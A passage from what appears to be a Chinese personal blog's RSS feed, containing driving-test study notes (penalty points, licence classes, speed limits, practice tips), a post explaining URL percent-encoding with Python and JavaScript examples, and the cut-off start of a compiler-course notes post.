<li>代替实际机动车驾驶人接受交通违法行为处罚和记分牟取经济利益的。</li>
</ol>
<h4 id="9分">9分</h4>
<ol>
<li>驾驶7座以上载客汽车载人超过核定人数<strong>百分之五十以上未达到百分之百</strong>的；</li>
<li>驾驶校车、中型以上载客载货汽车、危险物品运输车辆在高速公路、城市快速路<strong>以外</strong>的道路上行驶超过规定时速百分之五十以上的；(注意和12分的差别，在高、快超百分之二十就要扣12分了)</li>
<li>驾驶机动车在高速公路或者城市快速路上违法停车的；</li>
<li><strong>驾驶未悬挂机动车号牌或者故意遮挡、污损机动车号牌的机动车上道路行驶的；</strong></li>
<li>驾驶与准驾车型不符的机动车的；</li>
<li>未取得校车驾驶资格驾驶校车的；</li>
<li>连续驾驶<em>中型以上载客汽车、危险物品运输车辆</em><strong>超过4小时未停车休息或者停车休息时间少于20分钟的</strong>。</li>
</ol>
<h4 id="6分">6分</h4>
<ol>
<li></li>
</ol>
<ul>
<li>驾驶校车、公路客运汽车、旅游客运汽车载人超过核定人数未达到百分之二十，</li>
<li>或者驾驶7座以上载客汽车载人超过核定人数百分之二十以上未达到百分之五十，</li>
<li>或者驾驶其他载客汽车载人超过核定人数百分之五十以上未达到百分之百的；</li>
</ul>
<ol start="2">
<li>驾驶校车、中型以上载客载货汽车、危险物品运输车辆在高速公路、城市快速路上行驶超过规定时速未达到百分之二十，或者在高速公路、城市快速路以外的道路上行驶超过规定时速百分之二十以上未达到百分之五十的；</li>
<li>驾驶校车、中型以上载客载货汽车、危险物品运输车辆以外的机动车在高速公路、城市快速路上行驶超过规定时速百分之二十以上未达到百分之五十，或者在高速公路、城市快速路以外的道路上行驶超过规定时速百分之五十以上的；</li>
<li>驾驶载货汽车载物超过最大允许总质量<em>百分之五十以上的</em>；</li>
<li>驾驶机动车载运爆炸物品、易燃易爆化学物品以及剧毒、放射性等危险物品，未按指定的时间、路线、速度行驶或者未悬挂警示标志并采取必要的安全措施的；</li>
<li>驾驶机动车运载超限的不可解体的物品，未按指定的时间、路线、速度行驶或者未悬挂警示标志的；</li>
<li>驾驶机动车运输危险化学品，未经批准进入危险化学品运输车辆限制通行的区域的；</li>
<li>驾驶机动车不按交通信号灯指示通行的；</li>
<li>机动车驾驶证被暂扣或者扣留期间驾驶机动车的； <em>处二百元以上二千元以下罚款</em></li>
<li>造成致人轻微伤或者财产损失的交通事故后逃逸，尚不构成犯罪的；</li>
<li>驾驶机动车在高速公路或者城市快速路上违法占用应急车道行驶的。</li>
</ol>
<h4 id="3分">3分</h4>
<ol>
<li>驾驶校车、公路客运汽车、旅游客运汽车、7座以上载客汽车<strong>以外的</strong>其他载客汽车载人超过核定人数百分之二十以上未达到百分之五十的；</li>
<li>驾驶校车、中型以上载客载货汽车、危险物品运输车辆以外的机动车在高速公路、城市快速路以外的道路上行驶超过规定时速百分之二十以上未达到百分之五十的；</li>
<li>驾驶机动车在高速公路或者城市快速路上<em>不按规定车道行驶</em>的；</li>
<li>驾驶机动车<em>不按规定超车、让行</em>，或者在高速公路、城市快速路<em>以外的道路上逆行的</em>； <strong>区分掉头</strong></li>
<li>驾驶机动车遇前方机动车停车排队或者缓慢行驶时，借道超车或者占用对面车道、穿插等候车辆的；</li>
<li>驾驶机动车有拨打、接听手持电话等妨碍安全驾驶的行为的；</li>
<li>驾驶机动车行经人行横道不按规定减速、停车、避让行人的；</li>
<li>驾驶机动车<em>不按规定避让校车的</em>；</li>
<li>驾驶载货汽车载物超过最大允许总质量<em>百分之三十以上未达到百分之五十的，或者违反规定载客的</em>；</li>
<li>驾驶<em>不按规定安装机动车号牌</em>的机动车上道路行驶的；</li>
<li>在道路上车辆发生故障、事故停车后，<strong>不按规定使用灯光或者设置警告标志的；</strong></li>
<li>驾驶未按规定定期进行安全技术检验的公路客运汽车、旅游客运汽车、危险物品运输车辆上道路行驶的；</li>
<li>驾驶校车上道路行驶前，未对校车车况是否符合安全技术要求进行检查，或者驾驶存在安全隐患的校车上道路行驶的；</li>
<li>连续驾驶载<em>货汽车</em>超过4小时<em>未停车休息</em>或者停车休息时间少于20分钟的；</li>
<li>驾驶机动车在高速公路上行驶<em>低于规定最低时速</em>的。</li>
</ol>
<h4 id="1分">1分</h4>
<ol>
<li>驾驶校车、中型以上载客载货汽车、危险物品运输车辆在高速公路、城市快速路以外的道路上行驶超过规定时速百分之十以上未达到百分之二十的；</li>
<li>驾驶机动车<em>不按规定会车</em>，或者在高速公路、城市快速路以外的道路上<em>不按规定倒车、掉头的</em>；</li>
<li>驾驶机动车不按规定使用灯光的；</li>
<li>驾驶机动车违反禁令标志、禁止标线指示的；</li>
<li>驾驶机动车<em>载货长度、宽度、高度超过规定</em>的；</li>
<li>驾驶载货汽车载物超过最大允许总质量<em>未达到百分之三十的</em>；</li>
<li>驾驶未按规定定期进行安全技术检验的公路客运汽车、旅游客运汽车、危险物品运输车辆以外的机动车上道路行驶的；</li>
<li>驾驶擅自改变已登记的结构、构造或者特征的载货汽车上道路行驶的；</li>
<li>驾驶机动车在道路上行驶时，机动车驾驶人未按规定系安全带的；</li>
<li>驾驶摩托车，不戴安全头盔的。</li>
</ol>
<h3 id="驾驶证类型">驾驶证类型</h3>
<ul>
<li>A2为重型牵引挂车，准驾总质量大于4500kg的汽车列车</li>
<li>A1为大型客车。准驾大型载客汽车</li>
<li>B1为中型客车,准驾车型有中型载客汽车（含核载10人以上、19人以下的城市公共汽车），包含B1、C1、C2、C3、C4、M共六种车型。</li>
<li>B2为大型货车。准驾的车辆有重型、中型载货汽车；重型、中型专项作业车。</li>
</ul>
<h3 id="限速">限速</h3>
<ol>
<li>没有道路中心线，城市道路为30公里每小时，公路为40公里每小时；</li>
<li>同方向只有一条车道，城市道路为50公里每小时，公路为70公里每小时；</li>
<li>机动车行驶中遇有下列情形之一的，最高行驶速度不得超过每小时30公里，其中拖拉机、电瓶车、轮式专用机械车不得超过每小时15公里：
<ul>
<li>进出非机动车道，通过铁路道口、急弯路、窄路、窄桥时；</li>
<li>掉头、转弯、下陡坡时；</li>
<li>遇雾、雨、雪、沙尘、冰雹，能见度在50米以内时；</li>
<li>在冰雪、泥泞的道路上行驶时；</li>
<li>牵引发生故障的机动车时。</li>
</ul>
</li>
</ol>
<h3 id="有下列情形之一的不得申请机动车驾驶证">有下列情形之一的，不得申请机动车驾驶证:</h3>
<ol>
<li>有器质性心脏病、癫痫病、美尼尔氏症、眩晕症、癔病、震颤麻痹、精神病、痴呆以及影响肢体活动的神经系统疾病等妨碍安全驾驶疾病的；</li>
<li>三年内有吸食、注射毒品行为或者解除强制隔离戒毒措施未满三年，以及长期服用依赖性精神药品成瘾尚未戒除的；</li>
<li>造成交通事故后逃逸构成犯罪的；</li>
<li>饮酒后或者醉酒驾驶机动车发生重大交通事故构成犯罪的；</li>
<li>醉酒驾驶机动车或者饮酒后驾驶营运机动车依法被吊销机动车驾驶证未满五年的；</li>
<li><em>醉酒驾驶营运机动车</em>依法被吊销机动车驾驶证<strong>未满十年</strong>的；</li>
<li>驾驶机动车追逐竞驶、超员、超速、违反危险化学品安全管理规定运输危险化学品构成犯罪依法被吊销机动车驾驶证<em>未满五年</em>的；</li>
<li>因本款第四项以外的其他违反交通管理法律法规的行为发生重大交通事故构成犯罪依法被吊销机动车驾驶证<em>未满十年</em>的；</li>
<li>因其他情形依法被吊销机动车驾驶证<em>未满二年</em>的；</li>
<li>驾驶许可依法被撤销未满三年的；</li>
<li>未取得机动车驾驶证驾驶机动车，发生负同等以上责任交通事故造成人员重伤或者死亡<em>未满十年</em>的；</li>
<li><em>三年内</em>有代替他人参加机动车驾驶人考试行为的；</li>
<li>法律、行政法规规定的其他情形。未取得机动车驾驶证驾驶机动车，有第一款第五项至第八项行为之一的，在规定期限内不得申请机动车驾驶证。</li>
</ol>
<h3 id="其他">其他</h3>
<ol>
<li>在狭窄的坡路，上坡的一方先行；但下坡的一方已行至中途而上坡的一方未上坡时，下坡的一方先行。</li>
<li></li>
</ol>
<ul>
<li>违反交通运输管理法规，因而发生重大事故，致人重伤、死亡或者使公私财产遭受重大损失的，<strong>处三年以下有期徒刑或者拘役</strong>；</li>
<li>交通运输肇事后逃逸或者有其他特别恶劣情节的，<strong>处三年以上七年以下有期徒刑</strong>；</li>
<li>因逃逸致人死亡的，<strong>处七年以上有期徒刑</strong>。</li>
</ul>
<ol start="3">
<li>
<p>停车视距由反应距离、制动距离和安全距离三个方面组成。</p>
</li>
<li>
<p>机动车驾驶人按照以下规定换领机动车驾驶证时，应当接受公安机关交通管理部门的审验：</p>
<ul>
<li>机动车驾驶人应当于机动车驾驶证有效期满前九十日内，向机动车驾驶证核发地或者核发地以外的车辆管理所申请换证。</li>
<li>机动车驾驶人户籍迁出原车辆管理所管辖区的，应当向迁入地车辆管理所申请换证。</li>
</ul>
<p>机动车驾驶人在核发地车辆管理所管辖区以外居住的，可以向居住地车辆管理所申请换证。申请时应当确认申请信息，提交机动车驾驶人的身份证明和机动车驾驶证，并申报身体条件情况。</p>
</li>
<li>
<p>公共汽车站、急救站、加油站、消防栓或者消防队（站）门前以及距离上述地点30米以内的路段，除使用上述设施的以外，不得停车。</p>
</li>
<li>
<p>高速公路行驶时的间距：</p>
<ul>
<li>时速大于100公里，间距大于100米</li>
<li>小于的，不得少于50米</li>
</ul>
</li>
<li>
<p>高速公路的行驶速度</p>
<ul>
<li>应当标明车道的行驶速度，最高车速不得超过每小时120公里，最低车速不得低于每小时60公里。</li>
<li>在高速公路上行驶的小型载客汽车最高车速不得超过每小时120公里，其他机动车<em>不得超过每小时100公里</em>，摩托车不得超过每小时80公里。</li>
<li>同方向有2条车道的，左侧车道的最低车速为每小时100公里。</li>
<li>同方向有3条以上车道的，最左侧车道的最低车速为每小时110公里，中间车道的最低车速为每小时90公里。</li>
<li>道路限速标志标明的车速与上述车道行驶车速的规定不一致的，按照道路限速标志标明的车速行驶。</li>
</ul>
</li>
<li>
<p>机动车在高速公路上行驶，遇有雾、雨、雪、沙尘、冰雹等低能见度气象条件时，应当遵守下列规定：（642，一百五十零）</p>
<ol>
<li>能见度小于200米时，开启雾灯、近光灯、示廓灯和前后位灯，车速不得超过<strong>每小时60公里</strong>，与同车道前车保持<em>100米以上</em>的距离；</li>
<li>能见度小于100米时，开启雾灯、近光灯、示廓灯、前后位灯和<em>危险报警闪光灯</em>，车速不得超过<strong>每小时40公里</strong>，与同车道前车保持<em>50米以上</em>的距离；</li>
<li>能见度小于50米时，开启雾灯、近光灯、示廓灯、前后位灯和<em>危险报警闪光灯</em>，车速不得超过<strong>每小时20公里</strong>，并从最近的出口尽快驶离高速公路。</li>
</ol>
</li>
<li>
<p>驾驶证身体证明</p>
</li>
</ol>
<ul>
<li>办理残疾人专用小型自动挡载客汽车驾驶证业务时，提交的身体条件证明应当由<strong>经省级卫生健康行政部门认定的专门医疗机构</strong>出具。</li>
<li>办理其他机动车驾驶证业务时，提交的身体条件证明应当<strong>由县级、部队团级以上医疗机构，或者经地市级以上卫生健康行政部门认定的具有健康体检资质的二级以上医院、乡镇卫生院、社区卫生服务中心、健康体检中心等医疗机构出具</strong>。</li>
</ul>
<ol start="10">
<li>停车</li>
</ol>
<ul>
<li>交叉路口、铁路道口、急弯路、宽度不足4米的窄路、桥梁、陡坡、隧道以及距离上述地点50米以内的路段，不得停车。</li>
</ul>
<ol start="11">
<li>机动车的登记，分为注册登记、变更登记、转移登记、抵押登记和注销登记。</li>
<li>
<ul>
<li>参加公安机关交通管理部门组织的道路交通安全法律、法规和相关知识网上学习三日内累计满三十分钟且考试合格的，一次扣减1分。</li>
<li>参加公安机关交通管理部门组织的道路交通安全法律、法规和相关知识现场学习满一小时且考试合格的，<strong>一次扣减2分</strong>。</li>
<li>参加公安机关交通管理部门组织的交通安全公益活动的，满一小时为一次，一次扣减1分。</li>
</ul>
</li>
<li>
<ul>
<li>绿灯亮时，准许车辆通行，但转弯的车辆不得妨碍被放行的直行车辆、行人通行；</li>
<li>黄灯亮时，已越过停止线的车辆可以继续通行；</li>
<li>红灯亮时，禁止车辆通行。</li>
</ul>
</li>
<li>成人心肺按压频率的要求是每分钟100-120次，按压深度的要求是5-6厘米。</li>
<li>行车前，驾驶人要对发动机舱、车辆外部主要部件进行安全检查，确保车辆安全技术状况良好。上车前，再从驾驶室车门处开始，沿逆时针方向绕车一周，观察车辆周围情况，特别要留意车底、车后的情况（可能有宠物或玩耍的小孩），确认安全后按照规范动作上车。</li>
<li>安全头枕在发生追尾事故时，能有效保护驾驶人的颈部。</li>
<li>持有大型客车、重型牵引挂车、城市公交车、中型客车、大型货车驾驶证的驾驶人从业单位等信息发生变化的，应当在信息变更后三十日内，向从业单位所在地车辆管理所备案。</li>
<li>现机动车所有人住所不在车辆管理所管辖区域内的，转出地车辆管理所应当自受理之日起<em>三日</em>内，查验机动车</li>
<li>车辆管理所收到机动车所有人补领、换领机动车号牌的申请后，自受理之日起<em>十五日</em>内补发、换发号牌</li>
</ol>
<hr>
<h2 id="科目二">科目二</h2>
<h3 id="定点停车和半坡起步">定点停车和半坡起步</h3>
<ul>
<li>与右边线要保持30cm</li>
<li>车牌停在中间黄线里</li>
<li>上坡的时候要控制速度。但中途离合不能踩太多</li>
<li>车头过了最远端的黄线，转头看后视镜。</li>
<li>看到后视镜过了中间黄线，我就离合和刹车一起踩。（得分情况，快的话就提前踩）</li>
<li>半坡起步，我不需要去动档位。（前几次不知道为什么，总是习惯性地回空挡）</li>
<li>手刹拉起3秒后，放下。</li>
<li>起步我一般没啥问题，要注意的就是不要一次松太多。</li>
</ul>
<h3 id="曲线行驶">曲线行驶</h3>
<ul>
<li>这个我很怕压到线，但教练跟车了几次也没说什么，似乎没啥问题。</li>
<li>速度尽量控制下来</li>
</ul>
<h3 id="直角拐弯">直角拐弯</h3>
<ul>
<li>记得打灯、关灯。</li>
<li>眼睛、车门向上投影、外边角成一线时，向左打死</li>
</ul>
<h3 id="侧方停车">侧方停车</h3>
<ul>
<li>入库三步：
<ol>
<li>右打死</li>
<li>回正</li>
<li>左打死</li>
</ol>
</li>
<li>出库三步
<ol>
<li>打灯</li>
<li>回正</li>
<li>右一圈</li>
</ol>
</li>
<li>这个我似乎没啥问题</li>
</ul>
<h3 id="倒车入库">倒车入库</h3>
<ul>
<li>之前练得挺好的，但昨天停了好几次都进不去，停得我怀疑人生。
<ul>
<li>发现原因了：在看后视镜是否盖住黄线时，头应正视前方</li>
</ul>
</li>
<li>车身要摆直</li>
<li>左入库教练教的是：后视镜盖住黄线时，右打死。但我的问题是，可能我反应时间比较长，所以就要有个提前量</li>
</ul>
<h3 id="总结">总结</h3>
<p>总共五个项目，一个个说下来其实每个好像都还好。最主要的是调整好心态。放慢速度。</p>
<hr>
<h2 id="科目三">科目三</h2>
<h3 id="起步">起步</h3>
<h4 id="步骤">步骤</h4>
<ol>
<li>打左转向灯</li>
<li>系安全带</li>
<li>挂一档，缓松离合至方向盘轻微震动,松手刹</li>
<li>慢慢放离合，踩油门加速</li>
<li>挂二挡</li>
</ol>
<h4 id="要求">要求</h4>
<p>手刹放下十秒内完成起步</p>
<h3 id="加减档">加减档</h3>
<h4 id="步骤-1">步骤</h4>
<ol>
<li>时速保持在25km</li>
<li>换挡过程：
<ol>
<li>离合踩到底</li>
<li>换挡（要有节奏感、先回空挡，然后再换到对应的挡位）</li>
<li>手放回去</li>
<li>脚拿开，默数一二</li>
<li>重复下一次</li>
</ol>
</li>
</ol>
<h4 id="要求-1">要求</h4>
<ol>
<li>尽量要稳，车不会剧烈震动</li>
<li>回二档时，松离合要慢</li>
</ol>
<h3 id="变更车道">变更车道</h3>
<h4 id="步骤-2">步骤</h4>
<ol>
<li>打转向灯</li>
<li>数五秒（观察后方来车）</li>
<li>轻转方向盘至对应车道</li>
<li>回正</li>
</ol>
<h3 id="超越前方车辆">超越前方车辆</h3>
<h4 id="步骤-3">步骤</h4>
<ol>
<li>打左转向灯，数五秒</li>
<li>轻转方向盘</li>
<li>回正，打右转向灯，数五秒</li>
<li>轻转方向盘，回正</li>
</ol>
<h3 id="掉头">掉头</h3>
<h4 id="步骤-4">步骤</h4>
<ul>
<li>路上无车可二挡直接转</li>
<li>有车时:
<ol>
<li>停车，换一档</li>
<li>半离合前进</li>
<li>左打死方向盘（要迅速），慢慢松掉离合</li>
<li>车身回正后加速</li>
<li>换回二档</li>
</ol>
</li>
</ul>
<h3 id="直线行驶">直线行驶</h3>
<h4 id="步骤-5">步骤</h4>
<ol>
<li>提前提至三挡，摆正车身</li>
<li>时速三十以上换四挡</li>
<li>项目结束后直接换回二档</li>
</ol>
<h3 id="左转弯接靠边停车">左转弯接靠边停车</h3>
<h4 id="步骤-6">步骤</h4>
<ol>
<li>先停车，挂一档</li>
<li>转到对应车道后停车，数7秒</li>
<li>打右转向灯，慢慢靠过去</li>
<li>第三车道，喷水点对齐路中间的水泥缝</li>
</ol>
<h3 id="红绿灯">红绿灯</h3>
<ol>
<li>踩离合，用刹车控制速度</li>
<li>判断要走：半离合慢慢走</li>
<li>关键:不要突然踩刹车，防止追尾</li>
</ol>
<h3 id="松离合">松离合</h3>
<ol>
<li>快</li>
<li>顿</li>
<li>慢</li>
</ol>
<h3 id="练车时出现的问题">练车时出现的问题</h3>
<ol>
<li>加减档三档换二档，松离合的时候，我是慢慢松开的，但教练说这样是把正常行驶的放离合和加减档项目的放离合搞混了。我得顺放，但也不能一下子放开。</li>
<li>打转向灯。一次右转，我右转向灯打成了左转向灯。</li>
<li>靠边停车后，我忘了拉手刹，实际应这样操作：
<ol>
<li>回空挡</li>
<li>回转向灯</li>
<li>拉手刹</li>
<li>转钥匙熄火</li>
<li>解安全带</li>
<li>用力关车门</li>
</ol>
</li>
</ol>
<h3 id="总结-1">总结</h3>
<p>科目三也不难，但心态要好，不要太紧张。</p>
]]></content:encoded>
    </item>
    
    <item>
      <title>浏览器地址栏探秘</title>
      <link>https://ds63.eu.org/2024/exploring-the-browser-address-bar/</link>
      <pubDate>Sun, 21 Jan 2024 00:58:57 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/exploring-the-browser-address-bar/</guid>
      <description>URL handling in Address bar</description>
      <content:encoded><![CDATA[<h2 id="缘起">缘起</h2>
<p>我发现浏览器地址栏中显示的，和我将其复制粘贴到编辑器中的内容不同。</p>
<p>比如地址栏显示的是，<code>https://ds63.eu.org/2022/村上春树</code>，但当我粘贴到Vscode后，却是<code>https://ds63.eu.org/2022/%E6%9D%91%E4%B8%8A%E6%98%A5%E6%A0%91/</code></p>
<h2 id="编码与解码">编码与解码</h2>
<p>我之前只知道形如<code>%E6%9D%91</code>是url编码，但没详细了解过。</p>
<p>根据<a href="https://www.wikiwand.com/zh/URL%E7%BC%96%E7%A0%81"  target="_blank" rel="noopener" >百分号编码 - Wikiwand</a>的介绍，过程如下：</p>
<ol>
<li>将每个字符按照 UTF-8 编码规则转换为字节序列</li>
<li>将每个字节编码为 % 后跟两个十六进制数字</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">original_string</span> <span class="o">=</span> <span class="s2">&#34;村上春树&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">utf8_string</span> <span class="o">=</span> <span class="n">original_string</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;utf-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">utf8_string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#b&#39;\xe6\x9d\x91\xe4\xb8\x8a\xe6\x98\xa5\xe6\xa0\x91&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">hex_utf8_string</span> <span class="o">=</span>  <span class="s1">&#39;%&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="sa">f</span><span class="s1">&#39;</span><span class="si">{</span><span class="n">b</span><span class="si">:</span><span class="s1">02X</span><span class="si">}</span><span class="s1">&#39;</span> <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">utf8_string</span><span class="p">])</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">hex_utf8_string</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1">#E6%9D%91%E4%B8%8A%E6%98%A5%E6%A0%91</span>
</span></span></code></pre></div><ol start="3">
<li>实际使用时可以用<code>urllib.parse</code>这个库</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="c1"># 编码</span>
</span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">urllib.parse</span> <span class="kn">import</span> <span class="n">quote</span><span class="p">,</span><span class="n">unquote</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">original_url</span> <span class="o">=</span> <span class="s2">&#34;https://ds63.eu.org/2022/村上春树&#34;</span>
</span></span><span class="line"><span class="cl"><span class="n">encoded_url</span> <span class="o">=</span> <span class="n">quote</span><span class="p">(</span><span class="n">original_url</span><span class="p">,</span> <span class="n">safe</span><span class="o">=</span><span class="s1">&#39;:/&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">encoded_url</span><span class="p">)</span> <span class="c1">#https://ds63.eu.org/2022/%E6%9D%91%E4%B8%8A%E6%98%A5%E6%A0%91/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">#解码</span>
</span></span><span class="line"><span class="cl"><span class="n">decoded_url</span> <span class="o">=</span> <span class="n">unquote</span><span class="p">(</span><span class="n">encoded_url</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">decoded_url</span><span class="p">)</span> <span class="c1">#https://ds63.eu.org/2022/村上春树/</span>
</span></span></code></pre></div><h2 id="显示与实际复制">显示与实际复制</h2>
<p>那浏览器是如何实现用户看到的与实际复制不同的呢，我猜测可能是这样的：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">id</span><span class="o">=</span><span class="s">&#34;userFriendlyUrl&#34;</span> <span class="na">oncopy</span><span class="o">=</span><span class="s">&#34;handleCopy()&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        https://ds63.eu.org/2022/村上春树
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="kd">function</span> <span class="nx">handleCopy</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 获取用户友好的URL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="kd">var</span> <span class="nx">userFriendlyUrl</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&#34;userFriendlyUrl&#34;</span><span class="p">).</span><span class="nx">innerText</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 对URL进行URL编码
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="kd">var</span> <span class="nx">encodedUrl</span> <span class="o">=</span> <span class="nb">encodeURIComponent</span><span class="p">(</span><span class="nx">userFriendlyUrl</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 创建一个文本区域元素，设置其值为编码后的URL
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="kd">var</span> <span class="nx">textarea</span> <span class="o">=</span> <span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&#34;textarea&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="nx">textarea</span><span class="p">.</span><span class="nx">value</span> <span class="o">=</span> <span class="nx">encodedUrl</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 将文本区域元素添加到页面中
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">textarea</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 选中文本
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">textarea</span><span class="p">.</span><span class="nx">select</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">            <span class="nx">textarea</span><span class="p">.</span><span class="nx">setSelectionRange</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">99999</span><span class="p">);</span> <span class="c1">// 兼容移动设备
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">            <span class="c1">// 复制文本到剪贴板
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nb">document</span><span class="p">.</span><span class="nx">execCommand</span><span class="p">(</span><span class="s2">&#34;copy&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 移除文本区域元素
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nb">document</span><span class="p">.</span><span class="nx">body</span><span class="p">.</span><span class="nx">removeChild</span><span class="p">(</span><span class="nx">textarea</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">// 阻止默认复制事件，避免复制原始文本
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>            <span class="nx">event</span><span class="p">.</span><span class="nx">preventDefault</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="c1">//alert(&#34;URL copied: &#34; + encodedUrl);
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span></code></pre></div><h2 id="国际化域名">国际化域名</h2>
<p>我上述的例子并没有考虑到国际化域名。</p>
<p>具体可参看<a href="https://www.wikiwand.com/en/Internationalized_domain_name"  target="_blank" rel="noopener" >国际化域名</a>和<a href="https://www.wikiwand.com/en/Punycode"  target="_blank" rel="noopener" >Punycode编码</a>。</p>
<h2 id="意外收获">意外收获</h2>
<p>我之前就好奇汉字到底有多少个，看<a href="https://www.qqxiuzi.cn/zh/hanzi-unicode-bianma.php"  target="_blank" rel="noopener" >中文字符集 Unicode 编码范围</a>，发现可能应该不到十万。</p>
<p>ps: 看<a href="https://zh.wikipedia.org/wiki/%E4%B8%AD%E6%97%A5%E9%9F%93%E7%B5%B1%E4%B8%80%E8%A1%A8%E6%84%8F%E6%96%87%E5%AD%97?oldformat=true"  target="_blank" rel="noopener" >中日韩统一表意文字 - 维基百科，自由的百科全书</a>，还是觉得很混乱。不少是历史遗留下来的问题，所以我先前的估算显然是有问题的。</p>
<p>之后我又查了些资料，发现现在关于汉字的数量仍没有定论，可以说是众说纷纭。</p>
<h2 id="延伸">延伸</h2>
<p>在写这篇博客之后，我才注意到浏览器的地址栏原来有如此多的功能：</p>
<ol>
<li>
<p>地址栏预测： 当用户输入地址栏时，浏览器会根据用户的浏览历史、收藏夹和搜索历史等信息提供地址栏预测。这有助于用户快速访问常用站点。</p>
</li>
<li>
<p>搜索建议： 地址栏还充当搜索栏，用户可以直接在其中输入搜索关键字。浏览器通常会基于用户的输入和搜索历史，提供搜索建议。</p>
</li>
<li>
<p>安全指示： 浏览器通常在地址栏中显示有关连接安全性的信息，如锁定图标或&quot;安全&quot;标签，以指示连接的加密状态。</p>
</li>
<li>
<p>国际化域名（IDN）支持： 浏览器会对国际化域名进行处理，确保它们在地址栏中正确显示，并在需要时进行Punycode编码。</p>
</li>
<li>
<p>复制与粘贴： 用户在地址栏中复制时，通常会复制显示的用户友好的URL，而不是编码后的URL。这是为了提高用户的可理解性。</p>
</li>
</ol>
<p>这里打算给自己挖个坑，想试着自己实现一个地址栏。</p>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://www.wikiwand.com/zh/URL%E7%BC%96%E7%A0%81"  target="_blank" rel="noopener" >百分号编码 - Wikiwand</a></li>
<li><a href="https://www.wikiwand.com/zh-cn/UTF-8"  target="_blank" rel="noopener" >UTF-8 - Wikiwand</a></li>
<li><a href="https://www.qqxiuzi.cn/zh/hanzi-unicode-bianma.php"  target="_blank" rel="noopener" >中文字符集 Unicode 编码范围</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/omnibox"  target="_blank" rel="noopener" >omnibox - Mozilla | MDN</a></li>
<li><a href="https://zh.wikipedia.org/wiki/%E4%B8%AD%E6%97%A5%E9%9F%93%E7%B5%B1%E4%B8%80%E8%A1%A8%E6%84%8F%E6%96%87%E5%AD%97?oldformat=true"  target="_blank" rel="noopener" >中日韩统一表意文字 - 维基百科，自由的百科全书</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>编译原理复习笔记</title>
      <link>https://ds63.eu.org/2024/learn-compile-principle/</link>
      <pubDate>Mon, 15 Jan 2024 19:51:22 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/learn-compile-principle/</guid>
      <description>编译原理复习笔记</description>
      <content:encoded><![CDATA[<h2 id="第二章">第二章</h2>
